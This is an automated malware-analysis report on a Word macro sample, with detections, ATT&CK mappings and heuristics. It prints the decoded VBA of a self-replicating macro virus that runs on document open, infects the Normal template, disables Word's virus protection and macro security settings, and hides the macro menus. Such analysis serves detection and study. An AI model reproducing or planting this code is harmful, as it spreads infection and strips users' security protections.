MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1566.001 Spearphishing Attachment
The sample contains VBA macros that execute automatically via the Document_Open subroutine. These macros attempt to disable macro security settings and modify the document's own code, indicating a malicious intent to evade detection and potentially download or execute further payloads. The ClamAV detections 'Win.Trojan.Psycho-3' and 'Doc.Trojan.Onex-1' further support its classification as malware.
Heuristics 4
-
ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Psycho-3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5432 bytes |
SHA-256: ec23804c2ee3590ee5223b93e8fe648ba94b3311fe1b3bf90ac2412cef799b10 |
|||
|
Detection
ClamAV:
Doc.Trojan.Onex-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
VERSION 1.0 CLASS
BEGIN
MultiUse = -1 'True
End
Attribute VB_Name = "Extra"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Private Sub Document_Open()
On Error Resume Next
Set c = New DataObject
If ActiveDocument.VBProject.VBComponents(1).Name <> "Extra" Then
Set go = ActiveDocument.VBProject.VBComponents(1)
saveit = True
ElseIf NormalTemplate.VBProject.VBComponents(1).Name <> "Extra" Then
Set go = NormalTemplate.VBProject.VBComponents(1)
End If
With go
c.SetText Extra.VBProject.VBComponents(1).CodeModule.lines(1, Extra.VBProject.VBComponents(1).CodeModule.countoflines)
.CodeModule.deletelines 1, .CodeModule.countoflines
.CodeModule.insertlines 1, c.GetText
.Name = "Extra"
End With
Options.ConfirmConversions = 0
Options.SaveNormalPrompt = 0
Options.VirusProtection = 0
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = 0
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
End If
CommandBars("Tools").Controls("Macro").Enabled = 0
If saveit = True Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
' Word 97/2k.Extra - Psyclone X
' My first virus for the year 2k
' Processing file: /opt/analyzer/scan_staging/0e123ef68bd14f7ab84ae27042944bde.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 8536 bytes
' Line #0:
' Reparse 0x0011 "VERSION 1.0 CLASS"
' Line #1:
' ArgsCall BEGIN 0x0000
' Line #2:
' LitDI2 0x0001
' UMi
' St MultiUse
' QuoteRem 0x0011 0x0004 "True"
' Line #3:
' End
' Line #4:
' Reparse 0x001B "Attribute VB_Name = "Extra""
' Line #5:
' Reparse 0x0024 "Attribute VB_GlobalNameSpace = False"
' Line #6:
' Reparse 0x001E "Attribute VB_Creatable = False"
' Line #7:
' Reparse 0x0021 "Attribute VB_PredeclaredId = True"
' Line #8:
' Reparse 0x001B "Attribute VB_Exposed = True"
' Line #9:
' FuncDefn (Private Sub Document_Open())
' Line #10:
' OnError (Resume Next)
' Line #11:
' SetStmt
' New <crash>
' Set c
' Line #12:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0005 "Extra"
' Ne
' IfBlock
' Line #13:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set GoSub
' Line #14:
' LitVarSpecial (True)
' St saveit
' Line #15:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0005 "Extra"
' Ne
' ElseIfBlock
' Line #16:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set GoSub
' Line #17:
' EndIfBlock
' Line #18:
' StartWithExpr
' Ld GoSub
' With
' Line #19:
' LitDI2 0x0001
' LitDI2 0x0001
' Ld Extra
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' MemLd countoflines
' LitDI2 0x0001
' Ld Extra
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemLd lines 0x0002
' Ld c
' ArgsMemCall SetText 0x0001
' Line #20:
' LitDI2 0x0001
' MemLdWith CodeModule
' MemLd countoflines
' MemLdWith CodeModule
' ArgsMemCall deletelines 0x0002
' Line #21:
' LitDI2 0x0001
' Ld c
' MemLd GetText
' MemLdWith CodeModule
' ArgsMemCall insertlines 0x0002
' Line #22:
' LitStr 0x0005 "Extra"
' MemStWith New
' Line #23:
' EndWith
' Line #24:
' LitDI2 0x0000
' Ld Options
' MemSt ConfirmConversions
' Line #25:
' LitDI2 0x0000
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.